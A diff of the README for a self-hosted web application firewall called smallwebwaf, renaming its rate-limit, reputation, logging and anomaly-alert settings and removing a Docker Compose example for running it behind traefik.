|
||||||
| `SWW_WAF_TRAP_PATHS` | empty | Paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`; a request for one bans the client. |
|
| `SWW_WAF_TRAP_PATHS` | empty | Paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`; a request for one bans the client. |
|
||||||
| `SWW_WAF_CORE_RULE_SET_MODE` | `block` | What the Core Rule Set does with a match: `block` refuses it with `403`, `detect` only logs and alerts it, `off` runs no rule. |
|
| `SWW_WAF_CORE_RULE_SET_MODE` | `block` | What the Core Rule Set does with a match: `block` refuses it with `403`, `detect` only logs and alerts it, `off` runs no rule. |
|
||||||
| `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` | `1` | The Core Rule Set's paranoia level, from 1 to 4; each level up finds more attacks and takes more ordinary requests for attacks. |
|
| `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` | `1` | The Core Rule Set's paranoia level, from 1 to 4; each level up finds more attacks and takes more ordinary requests for attacks. |
|
||||||
| `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD` | `5` | The Core Rule Set score at which a request is a match, a whole number or `off`; one critical rule scores 5. |
|
| `SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD` | `5` | The Core Rule Set score at which a request is a match, a whole number or `off`; one critical rule scores 5. |
|
||||||
| `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` | `920340,920420,920440,920640,930130,930140` | Core Rule Set rule ids switched off; a list you give replaces the default, so repeat these six to keep them off. |
|
| `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` | `920340,920420,920440,920640,930130,930140` | Core Rule Set rule ids switched off; a list you give replaces the default, so repeat these six to keep them off. |
|
||||||
| `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
|
| `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
|
||||||
| `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` | `off` | How much of a request body the Core Rule Set reads, a size up to `8K`; `off` reads none. |
|
| `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
|
||||||
| `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
|
| `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
|
||||||
| `SWW_WAF_APPS` | unset | The apps each hostname serves, such as `git.example.com:gitea;blog.example.com:wordpress`; only those apps' fixes apply there. "Attack detection" lists the apps. Listing `forgejo` brings gitea's fixes too. Unset, every app's fixes apply to every hostname. |
|
| `SWW_WAF_APPS` | unset | The apps each hostname serves, such as `git.example.com:gitea;blog.example.com:wordpress`; only those apps' fixes apply there. "Attack detection" lists the apps. Listing `forgejo` brings gitea's fixes too. Unset, every app's fixes apply to every hostname. |
|
||||||
| `SWW_WAF_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
|
| `SWW_WAF_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
|
||||||
@@ -361,29 +287,28 @@ Every setting the code reads, with its default:
|
|||||||
| `SWW_WAF_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
|
| `SWW_WAF_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
|
||||||
| `SWW_WAF_DNSBL_ZONES` | empty | DNS blocklists asked about each new client in the background, such as `dnsbl.dronebl.org`. |
|
| `SWW_WAF_DNSBL_ZONES` | empty | DNS blocklists asked about each new client in the background, such as `dnsbl.dronebl.org`. |
|
||||||
| `SWW_WAF_DNSBL_RESOLVER` | unset | The resolver the zones are asked through, an IP address with an optional port; unset, the host's resolver is used. |
|
| `SWW_WAF_DNSBL_RESOLVER` | unset | The resolver the zones are asked through, an IP address with an optional port; unset, the host's resolver is used. |
|
||||||
| `SWW_WAF_ABUSEIPDB_KEY` | unset | The key of your AbuseIPDB account. Set, a client that has committed an offence is checked in the background, and the clients on AbuseIPDB's blacklist are banned. |
|
| `SWW_WAF_ABUSEIPDB_KEY` | unset | The key of your AbuseIPDB account; set, a client that has committed an offence is checked in the background. |
|
||||||
| `SWW_WAF_ABUSEIPDB_MIN_SCORE` | `75` | The least AbuseIPDB abuse confidence score, from 0 to 100, that is a hit. |
|
| `SWW_WAF_ABUSEIPDB_MIN_SCORE` | `75` | The least AbuseIPDB abuse confidence score, from 0 to 100, that is a hit. |
|
||||||
| `SWW_WAF_ABUSEIPDB_DAILY_BUDGET` | `900` | The most AbuseIPDB checks made in a day. |
|
| `SWW_WAF_ABUSEIPDB_DAILY_BUDGET` | `900` | The most AbuseIPDB checks made in a day. |
|
||||||
| `SWW_WAF_DNSBL_ABUSEIPDB_ACTION` | `limit:25` | What a client listed by a DNS blocklist, or scored a hit by AbuseIPDB, gets: `deny`, `limit:<percent>` or `log`. |
|
| `SWW_WAF_CROWDSEC_LAPI_URL` | unset | The local API of a CrowdSec engine you run, such as `http://172.17.0.1:8080`; its decision list is fetched every minute, and a listed client is banned. |
|
||||||
| `SWW_WAF_IP_REPUTATION_CACHE_TTL` | `24h` | How long a DNS blocklist verdict or an AbuseIPDB score is used. |
|
| `SWW_WAF_CROWDSEC_LAPI_KEY` | unset | The key the engine gave for `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it; set with the URL, never alone. |
|
||||||
| `SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS` | `2000` | How long a DNS blocklist query or an AbuseIPDB check may take, in milliseconds. |
|
| `SWW_WAF_REPUTATION_ACTION` | `limit:25` | What a client listed by a DNS blocklist, or scored a hit by AbuseIPDB, gets: `deny`, `limit:<percent>` or `log`. |
|
||||||
| `SWW_WAF_ABUSEIPDB_THRESHOLD` | `90` | The least AbuseIPDB score, from 25 to 100, at which a client on its blacklist is banned. Do not set it below 50 to 75: lower scores list ordinary visitors. |
|
| `SWW_WAF_REPUTATION_CACHE_TTL` | `24h` | How long a DNS blocklist verdict or an AbuseIPDB score is used. |
|
||||||
| `SWW_WAF_ABUSEIPDB_BLACKLIST_REFRESH_INTERVAL_MINS` | `60` | How often AbuseIPDB's blacklist is fetched again, in minutes. |
|
| `SWW_WAF_REPUTATION_TIMEOUT` | `2s` | How long a DNS blocklist query or an AbuseIPDB check may take. |
|
||||||
| `SWW_WAF_ABUSEIPDB_BAN_DAYS` | `30` | How long a client on AbuseIPDB's blacklist is banned, in days. |
|
|
||||||
| `SWW_WAF_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. |
|
| `SWW_WAF_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. |
|
||||||
| `SWW_WAF_BANS_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. |
|
| `SWW_WAF_STATE_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. |
|
||||||
| `SWW_WAF_STATE_WRITE_INTERVAL` | `15m` | How often every state and cache file is written. |
|
| `SWW_WAF_STATE_COUNTER_INTERVAL` | `15m` | How often every state and cache file is written. |
|
||||||
| `SWW_WAF_CACHE_DIR` | `/var/cache/sww` | The directory of the cache files, an absolute path. |
|
| `SWW_WAF_CACHE_DIR` | `/var/cache/sww` | The directory of the cache files, an absolute path. |
|
||||||
| `SWW_WAF_LOG_LEVEL` | `info` | The least severe of `waf`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. |
|
| `SWW_WAF_LOG_LEVEL` | `info` | The least severe of `waf`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. |
|
||||||
| `SWW_WAF_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. |
|
| `SWW_WAF_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. |
|
||||||
| `SWW_WAF_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `waf` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. |
|
| `SWW_WAF_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `waf` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. |
|
||||||
| `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. |
|
| `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. |
|
||||||
| `SWW_WAF_LOG_REMOTE_BUFFER_LINES` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. |
|
| `SWW_WAF_LOG_REMOTE_BUFFER` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. |
|
||||||
| `SWW_WAF_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. |
|
| `SWW_WAF_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. |
|
||||||
| `SWW_WAF_LOG_REMOTE_APP_NAME` | `SWW_WAF_INSTANCE_NAME` | The app name in each syslog record, 1 to 48 printable ASCII characters without a space. |
|
| `SWW_WAF_LOG_REMOTE_APP_NAME` | `SWW_WAF_INSTANCE_NAME` | The app name in each syslog record, 1 to 48 printable ASCII characters without a space. |
|
||||||
| `SWW_WAF_ADMIN_TOKEN` | unset | The bearer token for the ban and client endpoints, at least 32 characters; unset, they answer `404`. |
|
| `SWW_WAF_ADMIN_TOKEN` | unset | The bearer token for the ban and client endpoints, at least 32 characters; unset, they answer `404`. |
|
||||||
| `SWW_WAF_METRICS_TOKEN` | unset | The bearer token for `/_sww/metrics`, at least 32 characters; unset, the metrics are off. |
|
| `SWW_WAF_METRICS_TOKEN` | unset | The bearer token for `/_sww/metrics`, at least 32 characters; unset, the metrics are off. |
|
||||||
| `SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS` | `50` | How many AS numbers and how many countries get metric series of their own; the rest are summed as `other`. |
|
| `SWW_WAF_METRICS_TOP_N` | `50` | How many AS numbers and how many countries get metric series of their own; the rest are summed as `other`. |
|
||||||
| `SWW_WAF_ALERT_WEBHOOK_URL` | unset | A webhook each alert is posted to as a JSON object. |
|
| `SWW_WAF_ALERT_WEBHOOK_URL` | unset | A webhook each alert is posted to as a JSON object. |
|
||||||
| `SWW_WAF_ALERT_WEBHOOK_HEADERS` | empty | Headers sent with each post, a list of `Name:value`, such as `Authorization:Bearer <token>`. |
|
| `SWW_WAF_ALERT_WEBHOOK_HEADERS` | empty | Headers sent with each post, a list of `Name:value`, such as `Authorization:Bearer <token>`. |
|
||||||
| `SWW_WAF_ALERT_SLACK_WEBHOOK_URL` | unset | A Slack incoming webhook each alert is posted to as a message. |
|
| `SWW_WAF_ALERT_SLACK_WEBHOOK_URL` | unset | A Slack incoming webhook each alert is posted to as a message. |
|
||||||
@@ -392,29 +317,29 @@ Every setting the code reads, with its default:
|
|||||||
| `SWW_WAF_ALERT_EVENTS` | `ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error` | The events alerts are sent for; the hourly `summary` is sent whatever it says. |
|
| `SWW_WAF_ALERT_EVENTS` | `ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error` | The events alerts are sent for; the hourly `summary` is sent whatever it says. |
|
||||||
| `SWW_WAF_ALERT_COOLDOWN` | `15m` | How long after an alert its repeats are held back and counted, a duration or `off`. |
|
| `SWW_WAF_ALERT_COOLDOWN` | `15m` | How long after an alert its repeats are held back and counted, a duration or `off`. |
|
||||||
| `SWW_WAF_ALERT_MAX_PER_HOUR` | `60` | The most alerts sent in an hour, a number or `off`; the rest are counted in the hour's `summary`. |
|
| `SWW_WAF_ALERT_MAX_PER_HOUR` | `60` | The most alerts sent in an hour, a number or `off`; the rest are counted in the hour's `summary`. |
|
||||||
| `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE` | `off` | Sends one alert to the alert destinations when one client makes more requests than this in a minute, a count. No client is banned, rate limited or blocked. |
|
| `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE` | `off` | Alert when one client makes more requests than this in a minute, a count. |
|
||||||
| `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR` | `off` | Sends one alert to the alert destinations when one client makes more requests than this in an hour, a count. No client is banned, rate limited or blocked. |
|
| `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR` | `off` | Alert when one client makes more requests than this in an hour, a count. |
|
||||||
| `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_MINUTE` | `off` | Sends one alert to the alert destinations when more bytes than this are counted for one client in a minute, a size. `SWW_WAF_BYTES_COUNTED` says which bytes count. No client is banned, rate limited or blocked. |
|
| `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one client in a minute, a size. |
|
||||||
| `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_HOUR` | `off` | Sends one alert to the alert destinations when more bytes than this are counted for one client in an hour, a size. `SWW_WAF_BYTES_COUNTED` says which bytes count. No client is banned, rate limited or blocked. |
|
| `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one client in an hour, a size. |
|
||||||
| `SWW_WAF_ANOMALY_NET_REQUESTS_PER_MINUTE` | `off` | Sends one alert to the alert destinations when the netblock around a client makes more requests than this in a minute, a count. No client is banned, rate limited or blocked. |
|
| `SWW_WAF_ANOMALY_NET_REQUESTS_PER_MINUTE` | `off` | Alert when the netblock around a client makes more requests than this in a minute, a count. |
|
||||||
| `SWW_WAF_ANOMALY_NET_REQUESTS_PER_HOUR` | `off` | Sends one alert to the alert destinations when the netblock around a client makes more requests than this in an hour, a count. No client is banned, rate limited or blocked. |
|
| `SWW_WAF_ANOMALY_NET_REQUESTS_PER_HOUR` | `off` | Alert when the netblock around a client makes more requests than this in an hour, a count. |
|
||||||
| `SWW_WAF_ANOMALY_NET_BYTES_PER_MINUTE` | `off` | Sends one alert to the alert destinations when more bytes than this are counted for the netblock around a client in a minute, a size. `SWW_WAF_BYTES_COUNTED` says which bytes count. No client is banned, rate limited or blocked. |
|
| `SWW_WAF_ANOMALY_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the netblock around a client in a minute, a size. |
|
||||||
| `SWW_WAF_ANOMALY_NET_BYTES_PER_HOUR` | `off` | Sends one alert to the alert destinations when more bytes than this are counted for the netblock around a client in an hour, a size. `SWW_WAF_BYTES_COUNTED` says which bytes count. No client is banned, rate limited or blocked. |
|
| `SWW_WAF_ANOMALY_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the netblock around a client in an hour, a size. |
|
||||||
| `SWW_WAF_ANOMALY_NET_V4_PREFIX` | `24` | The prefix length of the netblock around an IPv4 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 32. Those thresholds only send alerts. |
|
| `SWW_WAF_ANOMALY_NET_V4_PREFIX` | `24` | The prefix length of the netblock around an IPv4 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 32. |
|
||||||
| `SWW_WAF_ANOMALY_NET_V6_PREFIX` | `48` | The prefix length of the netblock around an IPv6 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 128. Those thresholds only send alerts. |
|
| `SWW_WAF_ANOMALY_NET_V6_PREFIX` | `48` | The prefix length of the netblock around an IPv6 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 128. |
|
||||||
| `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_MINUTE` | `off` | Sends one alert to the alert destinations when one AS number makes more requests than this in a minute, a count. No client is banned, rate limited or blocked. |
|
| `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_MINUTE` | `off` | Alert when one AS number makes more requests than this in a minute, a count. |
|
||||||
| `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_HOUR` | `off` | Sends one alert to the alert destinations when one AS number makes more requests than this in an hour, a count. No client is banned, rate limited or blocked. |
|
| `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_HOUR` | `off` | Alert when one AS number makes more requests than this in an hour, a count. |
|
||||||
| `SWW_WAF_ANOMALY_ASN_BYTES_PER_MINUTE` | `off` | Sends one alert to the alert destinations when more bytes than this are counted for one AS number in a minute, a size. `SWW_WAF_BYTES_COUNTED` says which bytes count. No client is banned, rate limited or blocked. |
|
| `SWW_WAF_ANOMALY_ASN_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one AS number in a minute, a size. |
|
||||||
| `SWW_WAF_ANOMALY_ASN_BYTES_PER_HOUR` | `off` | Sends one alert to the alert destinations when more bytes than this are counted for one AS number in an hour, a size. `SWW_WAF_BYTES_COUNTED` says which bytes count. No client is banned, rate limited or blocked. |
|
| `SWW_WAF_ANOMALY_ASN_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one AS number in an hour, a size. |
|
||||||
| `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_MINUTE` | `off` | Sends one alert to the alert destinations when the whole service gets more requests than this in a minute, a count. No client is banned, rate limited or blocked. |
|
| `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_MINUTE` | `off` | Alert when the whole service gets more requests than this in a minute, a count. |
|
||||||
| `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_HOUR` | `off` | Sends one alert to the alert destinations when the whole service gets more requests than this in an hour, a count. No client is banned, rate limited or blocked. |
|
| `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_HOUR` | `off` | Alert when the whole service gets more requests than this in an hour, a count. |
|
||||||
| `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_MINUTE` | `off` | Sends one alert to the alert destinations when more bytes than this are counted for the whole service in a minute, a size. `SWW_WAF_BYTES_COUNTED` says which bytes count. No client is banned, rate limited or blocked. |
|
| `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the whole service in a minute, a size. |
|
||||||
| `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_HOUR` | `off` | Sends one alert to the alert destinations when more bytes than this are counted for the whole service in an hour, a size. `SWW_WAF_BYTES_COUNTED` says which bytes count. No client is banned, rate limited or blocked. |
|
| `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the whole service in an hour, a size. |
|
||||||
| `SWW_WAF_ANOMALY_WATCHED_NETS` | empty | Named netblocks the `SWW_WAF_ANOMALY_WATCHED_NET_` thresholds count each as a whole, such as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. Those thresholds only send alerts. |
|
| `SWW_WAF_WATCH_NETS` | empty | Named netblocks the `SWW_WAF_WATCH_` thresholds count each as a whole, such as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. |
|
||||||
| `SWW_WAF_ANOMALY_WATCHED_NET_REQUESTS_PER_MINUTE` | `off` | Sends one alert to the alert destinations when a watched netblock makes more requests than this in a minute, a count. No client is banned, rate limited or blocked. |
|
| `SWW_WAF_WATCH_REQUESTS_PER_MINUTE` | `off` | Alert when a watched netblock makes more requests than this in a minute, a count. |
|
||||||
| `SWW_WAF_ANOMALY_WATCHED_NET_REQUESTS_PER_HOUR` | `off` | Sends one alert to the alert destinations when a watched netblock makes more requests than this in an hour, a count. No client is banned, rate limited or blocked. |
|
| `SWW_WAF_WATCH_REQUESTS_PER_HOUR` | `off` | Alert when a watched netblock makes more requests than this in an hour, a count. |
|
||||||
| `SWW_WAF_ANOMALY_WATCHED_NET_BYTES_PER_MINUTE` | `off` | Sends one alert to the alert destinations when more bytes than this are counted for a watched netblock in a minute, a size. `SWW_WAF_BYTES_COUNTED` says which bytes count. No client is banned, rate limited or blocked. |
|
| `SWW_WAF_WATCH_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for a watched netblock in a minute, a size. |
|
||||||
| `SWW_WAF_ANOMALY_WATCHED_NET_BYTES_PER_HOUR` | `off` | Sends one alert to the alert destinations when more bytes than this are counted for a watched netblock in an hour, a size. `SWW_WAF_BYTES_COUNTED` says which bytes count. No client is banned, rate limited or blocked. |
|
| `SWW_WAF_WATCH_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for a watched netblock in an hour, a size. |
|
||||||
|
|
||||||
[`docs/settings.md`](docs/settings.md) gives the values each setting takes in
|
[`docs/settings.md`](docs/settings.md) gives the values each setting takes in
|
||||||
full, and the limits that are fixed rather than settings.
|
full, and the limits that are fixed rather than settings.
|
||||||
@@ -424,8 +349,8 @@ full, and the limits that are fixed rather than settings.
|
|||||||
Each example is a complete `compose.yaml`. `smallwebwaf` is the tag
|
Each example is a complete `compose.yaml`. `smallwebwaf` is the tag
|
||||||
`make docker` gives the image; on another host, use the name you pushed it
|
`make docker` gives the image; on another host, use the name you pushed it
|
||||||
under, by digest. Docker Compose puts the services on a private network of its
|
under, by digest. Docker Compose puts the services on a private network of its
|
||||||
own, where each reaches the others by service name. Each example but "On the
|
own, where each reaches the others by service name. Each example publishes
|
||||||
open internet" publishes `rproxy`'s port on the host, for trying it out.
|
`rproxy`'s port on the host, for trying it out.
|
||||||
|
|
||||||
### Smallest setup
|
### Smallest setup
|
||||||
|
|
||||||
@@ -457,142 +382,6 @@ volumes:
|
|||||||
waf-state:
|
waf-state:
|
||||||
```
|
```
|
||||||
|
|
||||||
### On the open internet
|
|
||||||
|
|
||||||
One gitea at `git.example.com`, with traefik in front of `rproxy`. traefik gets
|
|
||||||
the certificate from Let's Encrypt and is the only service with published ports.
|
|
||||||
`waf` sets what most sites set. More `waf` settings follow, commented out, each
|
|
||||||
with what it does and when to set it.
|
|
||||||
|
|
||||||
```yaml
|
|
||||||
services:
|
|
||||||
traefik:
|
|
||||||
# traefik v3.7.19, 2026-11-13
|
|
||||||
image: traefik@sha256:a6c0194dda77bcb804824580f36fa7edc56e315b1acfe933366c8b52844a78a4
|
|
||||||
restart: unless-stopped
|
|
||||||
command:
|
|
||||||
- --providers.docker=true
|
|
||||||
- --providers.docker.exposedByDefault=false
|
|
||||||
- --entryPoints.web.address=:80
|
|
||||||
- --entryPoints.websecure.address=:443
|
|
||||||
# Redirect plain HTTP to HTTPS.
|
|
||||||
- --entryPoints.web.http.redirections.entryPoint.to=websecure
|
|
||||||
- --entryPoints.web.http.redirections.entryPoint.scheme=https
|
|
||||||
# A Let's Encrypt certificate for each site, by the TLS-ALPN
|
|
||||||
# challenge on port 443.
|
|
||||||
- --entryPoints.websecure.http.tls.certResolver=le
|
|
||||||
- --certificatesResolvers.le.acme.email=hostmaster@example.com
|
|
||||||
- --certificatesResolvers.le.acme.storage=/letsencrypt/acme.json
|
|
||||||
- --certificatesResolvers.le.acme.tlsChallenge=true
|
|
||||||
# Give a request 10 minutes to arrive, rather than 1, for the
|
|
||||||
# large git pushes the rproxy lines below accept.
|
|
||||||
# - --entryPoints.websecure.transport.respondingTimeouts.readTimeout=600s
|
|
||||||
ports:
|
|
||||||
- "80:80"
|
|
||||||
- "443:443"
|
|
||||||
volumes:
|
|
||||||
- /var/run/docker.sock:/var/run/docker.sock:ro
|
|
||||||
- acme:/letsencrypt
|
|
||||||
|
|
||||||
app:
|
|
||||||
# Your app: here a gitea, which listens on port 3000.
|
|
||||||
image: registry.example/app@sha256:0000000000000000000000000000000000000000000000000000000000000000
|
|
||||||
restart: unless-stopped
|
|
||||||
|
|
||||||
rproxy:
|
|
||||||
image: smallwebwaf
|
|
||||||
restart: unless-stopped
|
|
||||||
environment:
|
|
||||||
SWW_RPROXY_WAF_BACKEND: http://waf:8080
|
|
||||||
SWW_RPROXY_UPSTREAM_URL: http://app:3000
|
|
||||||
# Accept git pushes up to 1 GiB, rather than 100 MiB, sent in
|
|
||||||
# up to 10 minutes, rather than 1, with traefik's readTimeout
|
|
||||||
# line above.
|
|
||||||
# SWW_RPROXY_MAX_REQUEST_SIZE: 1G
|
|
||||||
# SWW_RPROXY_MAX_REQUEST_TIME_MS: "600000"
|
|
||||||
labels:
|
|
||||||
- traefik.enable=true
|
|
||||||
- traefik.http.routers.git.rule=Host(`git.example.com`)
|
|
||||||
- traefik.http.routers.git.entryPoints=websecure
|
|
||||||
- traefik.http.services.git.loadBalancer.server.port=8080
|
|
||||||
|
|
||||||
waf:
|
|
||||||
image: smallwebwaf
|
|
||||||
restart: unless-stopped
|
|
||||||
environment:
|
|
||||||
SWW_COMMAND: waf
|
|
||||||
# The name in every log line, alert and metric. The default,
|
|
||||||
# the container's host name, is a random id under Compose.
|
|
||||||
SWW_WAF_INSTANCE_NAME: host1/waf
|
|
||||||
# The app each hostname serves. Only that app's fixes to the
|
|
||||||
# Core Rule Set apply there.
|
|
||||||
SWW_WAF_APPS: git.example.com:gitea
|
|
||||||
# Monitoring skips every check.
|
|
||||||
SWW_WAF_ALLOW_NETS: 192.0.2.10
|
|
||||||
# The office and the CI runner, which would exceed the rate
|
|
||||||
# limits, are never rate limited.
|
|
||||||
SWW_WAF_RATE_LIMIT_EXEMPT_NETS: 203.0.113.0/24,198.51.100.7
|
|
||||||
# WordPress paths, which only scanners ask a gitea for. One
|
|
||||||
# request for one bans the client.
|
|
||||||
SWW_WAF_TRAP_PATHS: /wp-login.php,/xmlrpc.php
|
|
||||||
# Spamhaus's list of netblocks hijacked or leased by
|
|
||||||
# criminals. Their clients are refused.
|
|
||||||
SWW_WAF_BLOCKLIST_URLS: https://www.spamhaus.org/drop/drop.txt
|
|
||||||
# The token for the ban endpoints, to lift a ban without
|
|
||||||
# editing bans.json.
|
|
||||||
SWW_WAF_ADMIN_TOKEN_FILE: /etc/sww/tokens/admin
|
|
||||||
# Alerts, such as one for each ban, to an ntfy topic.
|
|
||||||
SWW_WAF_ALERT_NTFY_URL: https://ntfy.example.com/smallwebwaf
|
|
||||||
|
|
||||||
# Refuse nothing and ban no one, for the first days. Each log
|
|
||||||
# line says what enforce mode would have done.
|
|
||||||
# SWW_WAF_MODE: observe
|
|
||||||
# The access token for an ntfy topic that is not public.
|
|
||||||
# SWW_WAF_ALERT_NTFY_TOKEN_FILE: /etc/sww/tokens/ntfy
|
|
||||||
# The token for /_sww/metrics, for Prometheus. Unset, the
|
|
||||||
# metrics are off.
|
|
||||||
# SWW_WAF_METRICS_TOKEN_FILE: /etc/sww/tokens/metrics
|
|
||||||
# 600 requests an hour rather than 1500, to ban slower
|
|
||||||
# scrapers. A fast human reader can reach it too.
|
|
||||||
# SWW_WAF_RATE_LIMIT_PER_HOUR: "600"
|
|
||||||
# A quarter of every limit for clients in two hosting
|
|
||||||
# networks, where scrapers run rather than people.
|
|
||||||
# SWW_WAF_TAG_LIMIT_PERCENT: asn=14061:25,asn=16276:25
|
|
||||||
# For a site only for people in a few countries. Clients
|
|
||||||
# elsewhere are refused, and so are any the lookup cannot place.
|
|
||||||
# SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES: de,at,ch
|
|
||||||
# Close a refused request's connection rather than answer
|
|
||||||
# 403. traefik then answers 502, so a scraper cannot tell a
|
|
||||||
# ban from a broken site.
|
|
||||||
# SWW_WAF_BAN_RESPONSE: close
|
|
||||||
# A copy of every log line to a syslog server.
|
|
||||||
# SWW_WAF_LOG_REMOTE_URL: syslog+tls://logs.example.com:6514
|
|
||||||
volumes:
|
|
||||||
- waf-state:/var/lib/sww
|
|
||||||
- /srv/sww/tokens:/etc/sww/tokens:ro
|
|
||||||
|
|
||||||
volumes:
|
|
||||||
acme:
|
|
||||||
waf-state:
|
|
||||||
```
|
|
||||||
|
|
||||||
Change these before the first start:
|
|
||||||
|
|
||||||
- `git.example.com`, in the router rule and in `SWW_WAF_APPS`;
|
|
||||||
- the email address for Let's Encrypt;
|
|
||||||
- the ntfy topic's URL;
|
|
||||||
- the app's image and port;
|
|
||||||
- the netblocks, which are documentation addresses.
|
|
||||||
|
|
||||||
Make the admin token file first, as for any token file:
|
|
||||||
|
|
||||||
```sh
|
|
||||||
mkdir -p /srv/sww/tokens
|
|
||||||
openssl rand -hex 32 > /srv/sww/tokens/admin
|
|
||||||
chown 65532:65532 /srv/sww/tokens/admin
|
|
||||||
chmod 0400 /srv/sww/tokens/admin
|
|
||||||
```
|
|
||||||
|
|
||||||
### Custom per-address limits
|
### Custom per-address limits
|
||||||
|
|
||||||
For a site with no API:
|
For a site with no API:
|
||||||
@@ -666,7 +455,7 @@ services:
|
|||||||
environment:
|
environment:
|
||||||
SWW_RPROXY_WAF_BACKEND: http://waf:8080
|
SWW_RPROXY_WAF_BACKEND: http://waf:8080
|
||||||
# Answer 503 rather than pass a request on while waf is down.
|
# Answer 503 rather than pass a request on while waf is down.
|
||||||
